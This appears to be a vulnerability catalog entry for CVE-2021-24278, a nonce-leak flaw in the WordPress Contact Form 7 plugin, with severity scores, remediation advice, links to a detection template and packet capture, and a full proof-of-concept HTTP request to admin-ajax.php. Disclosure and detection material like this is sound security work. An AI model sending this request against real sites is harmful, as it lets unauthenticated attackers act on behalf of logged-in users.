| Title | WordPress Contact Form 7 <2.3.4 - Arbitrary Nonce Generation |
|---|---|
| Author | 2rs3c |
| Severity | High |
| Impact | Attackers can exploit this vulnerability to perform actions on behalf of authenticated users, leading to potential data breaches or unauthorized access. |
| Remediation | Update WordPress Contact Form 7 plugin to version 2.3.4 or later to fix the Arbitrary Nonce Generation vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.35223 |
| CVE ID | CVE-2021-24278 |
| CWE ID | CWE-863 |
| Tags | cve2021 cve wordpress wp-plugin wpscan querysol vkev vuln |
WordPress Contact Form 7 before version 2.3.4 allows unauthenticated users to use the wpcf7r_get_nonce AJAX action to retrieve a valid nonce for any WordPress action/function.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
Connection: close
Content-Length: 37
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wpcf7r_get_nonce¶m=wp_rest
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24278.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24278.pcap
N/AN/A